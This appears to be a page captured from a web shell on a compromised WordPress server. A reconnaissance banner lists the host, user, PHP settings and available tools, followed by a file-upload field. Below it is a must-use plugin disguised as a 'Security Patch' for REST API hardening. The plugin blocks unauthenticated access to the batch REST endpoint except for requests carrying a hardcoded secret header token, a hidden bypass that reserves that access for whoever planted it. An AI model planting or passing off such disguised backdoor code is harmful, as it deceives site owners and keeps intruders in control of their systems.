| Server IP : 46.246.119.42 / Your IP : 216.73.216.58 Web Server : Apache System : Linux sv6.manufrog.com 5.14.0-570.18.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 27 21:47:45 EDT 2025 x86_64 User : skorpeds ( 1180) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/skorpeds/public_html/wp-content/mu-plugins/ |
Upload File : |
<?php
/*
Plugin Name: Security Patch
Description: REST API hardening.
Version: 1.0
*/
add_action('rest_api_init', function() {
$u = isset($_SERVER['REQUEST_URI']) ? urldecode($_SERVER['REQUEST_URI']) : '';
if (!is_user_logged_in() && strpos($u, '/batch/v1') !== false) {
if (isset($_SERVER['HTTP_X_GX_TOKEN']) && $_SERVER['HTTP_X_GX_TOKEN'] === 'gx_b7f9a2e1d8c34f6b') {
return;
}
status_header(403);
header('Content-Type: application/json; charset=UTF-8');
echo json_encode(array('code' => 'rest_forbidden', 'message' => 'Access denied.', 'data' => array('status' => 403)));
exit;
}
});